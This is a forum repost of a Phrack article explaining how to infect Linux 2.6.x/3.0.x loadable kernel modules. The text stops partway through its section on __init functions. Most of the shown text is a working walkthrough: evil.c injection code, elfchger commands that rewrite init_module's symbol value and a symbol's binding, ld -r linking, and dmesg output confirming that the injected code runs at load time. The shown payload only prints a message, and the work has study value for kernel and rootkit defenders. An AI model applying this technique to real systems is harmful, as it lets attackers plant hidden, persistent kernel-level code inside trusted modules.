Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. Infecting loadable kernel modules ==Phrack Inc.== Volume 0x0e, Issue 0x44, Phile #0x0b of 0x13 |=-----------------------------------------------------------------------=| |=----------------=[ Infecting loadable kernel modules ]=----------------=| |=-------------------=[ kernel versions 2.6.x/3.0.x ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ by styx^ ]=-----------------------------=| |=-----------------------=[ the.styx@gmail.com ]=------------------------=| |=-----------------------------------------------------------------------=| ---[ Index 1 - Introduction 2 - Kernel 2.4.x method 2.1 - First try 2.2 - LKM loading explanations 2.3 - The relocation process 3 - Playing with loadable kernel modules on 2.6.x/3.0.x 3.1 - A first example of code injection 4 - Real World: Is it so simple? 4.1 - Static functions 4.1.1 - Local symbol 4.1.2 - Changing symbol bind 4.1.3 - Try again 4.2 - Static __init functions 4.3 - What about cleanup_module 5 - Real life example 5.1 - Inject a kernel module in /etc/modules 5.2 - Backdooring initrd 6 - What about other systems? 6.1 - Solaris 6.1.1 - A basic example 6.1.2 - Playing with OS modules 6.1.3 - Keeping it stealthy 6.2 - *BSD 6.2.1 - FreeBSD - NetBSD - OpenBSD 7 - Conclusion 8 - References 9 - Codes 9.1 - Elfstrchange 9.2 - elfstrchange.patch ---[ 1 - Introduction In Phrack #61 [1] truff introduced a new method to infect a loadable kernel module on Linux kernel x86 2.4.x series. Actually this method is currently not compatible with the Linux kernel 2.6.x/3.0.x series due to the many changes made in kernel internals. As a result, in order to infect a kernel module, changing the name of symbols in .strtab section is not enough anymore; the task has become a little bit trickier. In this article it will be shown how to infect a kernel module on Linux kernel x86 2.6.*/3.0.x series. All the methods discussed here have been tested on kernel version 2.6.35, 2.6.38 and 3.0.0 on Ubuntu 10.10, 11.04 and 11.10 and on kernel version 2.6.18-238 on CentOS 5.6. The proposed method has been tested only on 32-bit architectures: a 64-bit adaptation is left as an exercise to the reader. Finally, I want to clarify that the proposed paper is not innovative, but is only an update of truff's paper. ---[ 2 - Kernel 2.4.x method ---[ 2.1 - First try With the help of a simple example it will be explained why truff's method is no longer valid: we are using the "elfstrchange" tool provided in his paper. First, let's write a simple testing kernel module: /****************** orig.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int evil(void) { printk(KERN_ALERT "Init Inject!"); return 0; } int init(void) { printk(KERN_ALERT "Init Original!"); return 0; } void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /****************** EOF **************************************************/ The module_init macro is used to register the initialization function of the loadable kernel module: in other words, the function which is called when the module is loaded, is the init() function. Reciprocally the module_exit macro is used to register the termination function of the LKM which means that in our example clean() will be invoked when the module is unloaded. These macros can be seen as the constructor/destructor declaration of the LKM object. A more exhaustive explanation can be found in section 2.2. Below is the associated Makefile: /****************** Makefile *********************************************/ obj-m += orig.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean /****************** EOF **************************************************/ Now the module can be compiled and the testing can start: $ make ... Truff noticed that altering the symbol names located in the .strtab section was enough to fool the resolution mechanism of kernel v2.4. Indeed the obj_find_symbol() function of modutils was looking for a specific symbol ("init_module") using its name [1]: /*************************************************************************/ module->init = obj_symbol_final_value(f, obj_find_symbol(f, SPFX "init_module")); module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f, SPFX "cleanup_module")); /*************************************************************************/ Let's have a look at the ELF symbol table of orig.ko: $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init We want to setup evil() as the initialization function instead of init(). Truff was doing it in two steps: 1. renaming init to dumm 2. renaming evil to init This can easily be performed using his tool, "elfstrchange", slightly bug-patched (see section 9): $ ./elfstrchange orig.ko init dumm [+] Symbol init located at 0xa91 [+] .strtab entry overwritten with dumm $ ./elfstrchange orig.ko evil init [+] Symbol evil located at 0xa4f [+] .strtab entry overwritten with init $ objdump -t orig.ko ... 00000040 g F .text 0000001b init <-- evil() 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b dumm <-- init() Now we're loading the module: $ sudo insmod orig.ko $ dmesg |tail ... [ 2438.317831] Init Original! As we can see the init() function is still invoked. Applying the same method with "init_module" instead of init doesn't work either. In the next subsection the reasons of this behaviour are explained. ---[ 2.2 LKM loading explanations In the above subsection I briefly mentioned the module_init and module_exit macros. Now let's analyze them. In kernel v2.4 the entry and exit functions of the LKMs were init_module() and cleanup_module(), respectively. Nowadays, with kernel v2.6, the programmer can choose the name he prefers for these functions using the module_init() and module_exit() macros. These macros are defined in "include/linux/init.h" [3]: /*************************************************************************/ #ifndef MODULE [...] #else /* MODULE */ [...] /* Each module must use one module_init(). */ #define module_init(initfn) \ static inline initcall_t __inittest(void) \ { return initfn; } \ int init_module(void) __attribute__((alias(#initfn))); /* This is only required if you want to be unloadable. */ #define module_exit(exitfn) \ static inline exitcall_t __exittest(void) \ { return exitfn; } \ void cleanup_module(void) __attribute__((alias(#exitfn))); [...] #endif /*MODULE*/ /*************************************************************************/ We are only interested in the "loadable module" case, that is when MODULE is defined. As you can see, init_module is always declared as an alias of initfn, the argument of the module_init macro. As a result, the compiler will always produce identical symbols in the relocatable object: one for initfn and one for "module_init". The same rule applies for the termination function, if the unloading mechanism is compiled in the kernel (that is if CONFIG_MODULE_UNLOAD is defined). When a module is compiled, first the compiler creates an object file for each source file, then it generates an additional generic source file, compiles it and finally links all the relocatable objects together. In the case of orig.ko, orig.mod.c is the file generated and compiled as orig.mod.o. The orig.mod.c follows: /*************************************************************************/ #include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; static const struct modversion_info ____versions[] __used __attribute__((section("__versions"))) = { { 0x4d5503c4, "module_layout" }, { 0x50eedeb8, "printk" }, { 0xb4390f9a, "mcount" }, }; static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "EE786261CA9F9F457DF0EB5"); /*************************************************************************/ This file declares and partially initializes a struct module which will be stored in the ".gnu.linkonce.this_module" section of the object file. The module struct is defined in "include/linux/module.h": /*************************************************************************/ struct module { [...] /* Unique handle for this module */ char name[MODULE_NAME_LEN]; [...] /* Startup function. */ int (*init)(void); [...] /* Destruction function. */ void (*exit)(void); [...] }; /*************************************************************************/ So when the compiler auto-generates the C file, it always makes the .init and .exit fields of the struct pointing to the function "init_module" and "cleanup_module". But the corresponding functions are not declared in this C file so they are assumed external and their corresponding symbols are declared undefined (*UND*): $ objdump -t orig.mod.o orig.mod.o: file format elf32-i386 SYMBOL TABLE: [...] 00000000 *UND* 00000000 init_module 00000000 *UND* 00000000 cleanup_module When the linking with the other objects is performed, the compiler is then able to solve this issue thanks to the aliasing performed by the module_init() and module_exit() macros. $ objdump -t orig.ko 00000000 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000184 __this_module 00000040 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000040 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The aliasing can be seen as a smart trick to allow the compiler to declare and fill the __this_module object without too much trouble. This object is essential for the loading of the module in the v2.6.x/3.0.x kernels. To load the LKM, a userland tool (insmod/modprobe/etc.) calls the sys_init_module() syscall which is defined in "kernel/module.c": /*************************************************************************/ SYSCALL_DEFINE3(init_module, void __user *, umod, unsigned long, len, const char __user *, uargs) { struct module *mod; int ret = 0; ... /* Do all the hard work */ mod = load_module(umod, len, uargs); ... /* Start the module */ if (mod->init != NULL) ret = do_one_initcall(mod->init); ... } /*************************************************************************/ The load_module() function returns a pointer to a "struct module" object when the LKM is loaded in memory. As stated in the source code, load_module() handles the main tasks associated with the loading and as such is neither easy to follow nor to explain in a few sentences. However there are two important things that you should know: - load_module() is responsible for the ELF relocations - the mod->init is holding the relocated value stored in __this_module Note: Because __this_module is holding initialized function pointers (the address of init() and clean() in our example), there has to be a relocation at some point. After the relocation is performed, mod->init() refers to the kernel mapping of init_module() and can be called through do_one_initcall() which is defined in "init/main.c": /*************************************************************************/ int __init_or_module do_one_initcall(initcall_t fn) { int count = preempt_count(); int ret; if (initcall_debug) ret = do_one_initcall_debug(fn); <-- init_module() may be else called here ret = fn(); <-- or it may be called here msgbuf[0] = 0; ... return ret; } /*************************************************************************/ ---[ 2.3 - The relocation process The relocation itself is handled by the load_module() function and without any surprise the existence of the corresponding entries can be found in the binary: $ objdump -r orig.ko ./orig.ko: file format elf32-i386 ... RELOCATION RECORDS FOR [.gnu.linkonce.this_module]: OFFSET TYPE VALUE 000000d4 R_386_32 init_module 00000174 R_386_32 cleanup_module This means that the relocation has to patch two 32-bit addresses (because type == R_386_32) located at: - (&.gnu.linkonce.this_module = &__this_module) + 0xd4 [patch #1] - (&.gnu.linkonce.this_module = &__this_module) + 0x174 [patch #2] A relocation entry (in a 32-bit environment) is an Elf32_Rel object and is defined in "/usr/include/elf.h": /*************************************************************************/ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) /*************************************************************************/ The important thing to remember is that the symbol is located using ELF32_R_SYM() which provides an index in the table of symbols, the .symtab section. This can be easily seen: $ readelf -S ./orig.ko | grep gnu.linkonce [10] .gnu.linkonce.thi PROGBITS 00000000 000240 000184 00 WA 0 0 32 [11] .rel.gnu.linkonce REL 00000000 0007f8 000010 08 16 10 4 The relocation section associated with section 10 is thus section 11. $ readelf -x 11 orig.ko Hex dump of section '.rel.gnu.linkonce.this_module': 0x00000000 d4000000 01160000 74010000 01150000 ........t....... So ELF32_R_SYM() is returning 0x16 (=22) for the first relocation and 0x1b (=21) for the second one. Now let's see the table of symbols: $ readelf -s .orig.ko Symbol table '.symtab' contains 33 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND ... 21: 00000040 25 FUNC GLOBAL DEFAULT 2 cleanup_module 22: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module ... This is a perfect match. So when the LKM is loaded: - The kernel performs a symbol resolution and the corresponding symbols are updated with a new value. At his point init_module and cleanup_module are holding kernel space addresses. - The kernel performs the required relocations using the index in the table of symbols to know how to patch. When the relocation is performed __this_module has been patched twice. At this point it should be clear that the address value of the init_module symbol has to be modified if we want to call evil() instead of init(). ---[ 3 - Playing with loadable kernel modules on 2.6.x/3.0.x As pointed out above, the address of the init_module symbol has to be modified in order to invoke the evil() function at loading time. Since the LKM is a relocatable object, this address is calculated using the offset (or relative address) stored in the st_value field of the Elf32_Sym structure [2], defined in "/usr/include/elf.h": /*************************************************************************/ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; /*************************************************************************/ $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The objdump output shows that: - the relative address of evil() is 0x00000040; - the relative address of init_module() is 0x00000020; - the relative address of init() is 0x00000020; Altering these offsets is enough to have evil() being called instead of init_module() because the relocation process in the kernel will produce the corresponding "poisoned" virtual address. The orig.ko has to look like this: 00000040 g F .text 0000001b evil ... 00000040 g F .text 0000001b init_module To do so, we can use my 'elfchger' script in order to modify the ELF file. The code structure is the same as truff's one, with some minor changes. The script takes the following input parameters: ./elfchger -s [symbol] -v [value] <module_name> Where [value] represents the new relative address of the [symbol] (init_module in our case) in <module_name>: Let's apply it to our example: $ ./elfchger -s init_module -v 00000040 orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x77c [+] Finding ".strtab" section... >> Found at 0x7a4 [+] Getting symbol' infos: >> Symbol found at 0x99c >> Index in symbol table: 0x16 [+] Replacing 0x00000020 with 0x00000040... done! The ELF file is now changed: $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000040 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init Let's load the module: $ sudo insmod orig.ko $ dmesg | tail ... [ 5733.929286] Init Inject! $ As expected the evil() function is invoked instead of init() when the module is loaded. ---[ 3.1 A first example of code injection The next step is the injection of external code inside the original module (orig.ko). A new kernel module (evil.ko) will be injected into orig.ko. We will use both orig.c and evil.c source codes: /***************************** orig.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int init_module(void) { printk(KERN_ALERT "Init Original!"); return 0; } void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ /***************************** evil.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int evil(void) { printk(KERN_ALERT "Init Inject!"); return 0; } /******************************** EOF ************************************/ Once the two modules orig.ko and evil.ko are compiled, they can be linked together using the 'ld -r' command (as explained by truff) because they are both relocatable objects. $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko new.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The evil() function has now been linked into the new.ko module. The next step is to make init_module() (defined in orig.ko) an alias of evil() (defined in evil.ko). It can be done easily using ./elfchger: $ ./elfchger -f init_module -v 00000040 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbe4 >> Index in symbol table: 0x1d [+] Replacing 0x00000020 with 0x00000040... done! At this point the module can be renamed and loaded: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg | tail ... [ 6791.920363] Init Inject! And the magic occurs As already explained by truff, if we want the original module to work properly, we need to call its initialization function. This can be done using an imported symbol which will be fixed at linking time. The init() function is declared as extern: this means that it will be resolved at linking time. We use the following code: /****************************** evil.c ***********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int init(); int evil(void) { init(); printk(KERN_ALERT "Init Inject!"); /* do something */ return 0; } /******************************** EOF ************************************/ And it works: $ dmesg | tail ... [ 7910.392244] Init Original! [ 7910.392248] Init Inject! ---[ 4 - Real World: Is it so simple? In this section it will be shown why the method described above when used in real life may not work. In fact the example modules were overly simplified for a better understanding of the basic idea of module infection. ---[ 4.1 - Static functions The majority of Linux system modules are a little bit different from those used above. Here is a more accurate example: /***************************** orig.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); static int init(void) { printk(KERN_ALERT "Init Original!"); return 0; } static void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ Let's try to use our method to inject the old evil code inside this new orig module. $ ld -r orig.ko evil.ko -o new.ko $ sudo insmod new.ko insmod: error inserting 'new.ko': -1 Unknown symbol in module What? More information is needed: $ dmesg | tail ... [ 2737.539906] orig: Unknown symbol init (err 0) The unknown symbol appears to be init. To understand the reason why init is "unknown" let's have a look at the symbol table of new.ko: $ objdump -t new.ko ... SYMBOL TABLE: ... 00000000 l F .text 00000019 clean 00000020 l F .text 0000001b init ... 00000040 g F .text 00000020 evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 *UND* 00000000 init This output shows that there are now two "init" symbols, one of them not being defined (*UND*). This means that the linker does not perform correctly the linking between the init functions in orig.ko and evil.ko. As a result, when the module is loaded, the kernel tries to find the init symbol, but since it is not defined anywhere it fails to do so and the module is not loaded. ---[ 4.1.1 - Local symbol The 'readelf' tool can give us more insight: $ readelf -s orig.ko Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 14: 00000020 27 FUNC LOCAL DEFAULT 2 init ... To summarize, we know about the init symbol that: - its relative address is 0x00000020; - its type is a function; - its binding is local; The symbol binding is now local (while it was previously global) since the init function is now declared 'static' in orig.c. This has the effect to reduce its scope to the file in which it is declared. For this reason the symbol was not properly resolved by the linker. We need to do something in order to change the scope of init, otherwise the injection won't work. ---[ 4.1.2 - Changing symbol binding It's possible to change a symbol binding using the 'objcopy' tool. In fact the '--globalize-symbol' option can be used to give global scoping to the specified symbol: $ objcopy --globalize-symbol=init ./orig.ko orig2.ko But if for some reason, objcopy is not present, the tool that I wrote can also globalize a particular symbol modifying all the necessary fields inside the ELF file. Each symbol table entry in the .symtab section is defined as follows [2]: /******************************** EOF ************************************/ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; /******************************** EOF ************************************/ First, it's necessary to find in the ELF file the symbol we are looking for (init) and check if it has a global or a local binding. The function ElfGetSymbolByName() searches the offset at which init symbol is located in the .symtab and it fills the corresponding "Elf32_Sym sym" structure. Next, the binding type must be checked by looking at the st_info field. Passing sym.st_info to the macro ELF32_ST_BIND() defined in "<elf.h>", returns the expected binding value. If the symbol has a local binding, these steps have to be performed: 1. Reorder the symbols: the symbol we are interested in must be placed among the global symbols inside the .symtab section. We'll see later why this step is mandatory. We need to move the init symbol from: $ readelf -s orig.ko Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 SECTION LOCAL DEFAULT 1 2: 00000000 0 SECTION LOCAL DEFAULT 2 3: 00000000 0 SECTION LOCAL DEFAULT 4 4: 00000000 0 SECTION LOCAL DEFAULT 5 5: 00000000 0 SECTION LOCAL DEFAULT 6 6: 00000000 0 SECTION LOCAL DEFAULT 8 7: 00000000 0 SECTION LOCAL DEFAULT 9 8: 00000000 0 SECTION LOCAL DEFAULT 10 9: 00000000 0 SECTION LOCAL DEFAULT 12 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000020 27 FUNC LOCAL DEFAULT 2 init <----- 15: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 16: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c 17: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 18: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 19: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 20: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk To: Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 SECTION LOCAL DEFAULT 1 2: 00000000 0 SECTION LOCAL DEFAULT 2 3: 00000000 0 SECTION LOCAL DEFAULT 4 4: 00000000 0 SECTION LOCAL DEFAULT 5 5: 00000000 0 SECTION LOCAL DEFAULT 6 6: 00000000 0 SECTION LOCAL DEFAULT 8 7: 00000000 0 SECTION LOCAL DEFAULT 9 8: 00000000 0 SECTION LOCAL DEFAULT 10 9: 00000000 0 SECTION LOCAL DEFAULT 12 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 15: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c 16: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 17: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 20: 00000020 27 FUNC GLOBAL DEFAULT 2 init <----- 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk This task is accomplished by the "ReorderSymbols()" function. 2. Updating the information about the init symbol (i.e. its offset, index, etc..) according to its new position inside the .symtab section. 3. Changing the symbol binding from local to global by modifying the st_info field using the ELF32_ST_INFO macro: #define ELF32_ST_INFO(b, t) (((<<4)+((t)&0xf)) Where 'b' is the symbol binding and 't' the symbol type. The binding values are: Name Value ==== ===== STB_LOCAL 0 STB_GLOBAL 1 STB_WEAK 2 STB_LOPROC 13 STB_HIPROC 15 Obviously, STB_GLOBAL has to be used for our purpose. The type values are: Name Value ==== ===== STT_NOTYPE 0 STT_OBJECT 1 STT_FUNC 2 STT_SECTION 3 STT_FILE 4 STT_LOPROC 13 STT_HIPROC 15 The STT_FUNC is the type value to specify functions. So, the resulting macro will be: ELF32_ST_INFO(STB_GLOBAL, STT_FUNC); The init st_info field should then be set equal to the macro's result. 4. Updating the symtab section header, defined as: typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; The header can be output by the 'readelf -e' command: $ readelf -e orig.ko ELF Header: ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [15] .shstrtab STRTAB 00000000 00040c 0000ae 00 0 0 1 [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1 The value of the information (sh_info) field (reported as 'Inf') depends on the section header type (sh_type): sh_type sh_link sh_info ======= ======= ======= SHT_DYNAMIC The section header index of 0 the string table used by entries in the section. SHT_HASH The section header index of 0 the symbol table to which the hash table applies. SHT_REL, The section header index of The section header index of SHT_RELA the associated symbol table. the section to which the relocation applies. SHT_SYMTAB, The section header index of One greater than the symbol SHT_DYNSYM the associated string table. table index of the last local symbol (binding STB_LOCAL). other SHN_UNDEF 0 The sh_info must be updated according to the rules of the SHT_SYMTAB type. In our example, its value will be 20 = 19 + 1 (remember that our symbol will be placed after the "__mod_vermagic5" symbol, whose entry number is 19). This is the reason why reorder the symbol list (step 1) is a necessary step. All these tasks are accomplished by the tool I wrote by using this option: ./elfchger -g [symbol] <module_name> Where [symbol] is the symbol name which binding value has to be modified. ---[ 4.1.3 Try again At this point we can try another test, in which the developed tool will be used. The two modules (orig.c and evil.c) and the Makefile remain the same. The first step is to change the init binding from 'local' to 'global'. The outcome of the elfchger script can be checked by looking at the readelf's output before and after its use. Before running the script readelf outputs: $ readelf -a orig.ko ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4 ... Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000020 27 FUNC LOCAL DEFAULT 2 init ... 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module ... Let's run the script on the orig.ko file: $ ./elfchger -g init orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x73c [+] Finding ".strtab" section... >> Found at 0x764 [+] Getting symbol' infos: >> Symbol found at 0x8bc >> Index in symbol table: 0xe [+] Reordering symbols: >> Starting: >> Moving symbol from f to e >> Moving symbol from 10 to f >> Moving symbol from 11 to 10 >> Moving symbol from 12 to 11 >> Moving symbol from 13 to 12 >> Moving symbol from 14 to 13 >> Moving our symbol from 14 to 14 >> Last LOCAL symbol: 0x14 >> Done! [+] Updating symbol' infos: >> Symbol found at 0x91c >> Index in symbol table: 0x14 >> Replacing flag 'LOCAL' located at 0x928 with 'GLOBAL' [+] Updating symtab infos at 0x73c Let's see what happened: $ readelf -a orig.ko ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 20 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1 ... Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 20: 00000020 27 FUNC GLOBAL DEFAULT 2 init 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module ... So as expected: - the position of init is changed from 14 to 20 in the symbol table; - the 'Inf' field in the .symtab header has changed: its current value is 20 (19 (last index local symbol) + 1); - the binding of init has changed from local to global. Now we can link together orig.ko and evil.ko: $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko ... 00000040 g F .text 00000020 evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init We can notice that the init symbol is no more *UND*. The final step is to modify the value of init_module: $ ./elfchger -s init_module -v 00000040 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbfc >> Index in symbol table: 0x1e [+] Replacing 0x00000020 with 0x00000040... done! Let's try to load module: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg|tail ... [ 2385.342838] Init Original! [ 2385.342845] Init Inject! Cool!! It works! ---[ 4.2 Static __init init functions In the previous section it was demonstrated how to inject modules when the init function is declared as static. However in some cases the startup function in the kernel modules is defined with the __init macro: static int __init function_name(); The __init macro is used to describe the function as only being required during initialisation time. Once initialisation has been performed, the kernel will remove this function and release the corresponding memory. The __init macro is defined in "include/linux/init.h": /*************************************************************************/ #define __init __section(.init.text) __cold notrace /*************************************************************************/ The __section macro is defined in "include/linux/compiler.h": /*************************************************************************/ #define __section(S) __attribute__ ((__section__(#S))) /*************************************************************************/ While __cold macro is defined in "/include/linux/compiler-gcc*.h": /*************************************************************************/ #define __cold __attribute__((__cold__)) /*************************************************************************/ When the __init macro is used, a number of GCC attributes are added to the function declaration. The __cold attribute informs the compiler to optimize it for size instead of speed, because it'll be rarely used. The __section attribute informs the compiler to put the text for this function in a new section named ".init.text" [5]. How these __init functions are called can be checked in "kernel/module.c": /*************************************************************************/ static void __init do_initcalls(void) { initcall_t *fn; for (fn = __early_initcall_end; fn < __initcall_end; fn++) do_one_initcall(*fn); /* Make sure there is no pending stuff from the initcall sequence */ flush_scheduled_work(); } /*************************************************************************/ For each step of the loop inside the do_initcalls() function, an __init function set up by the module_init macro is executed. The injection will work even if the function is declared with __init. The module orig is as follows: /******************************** orig.c *********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> 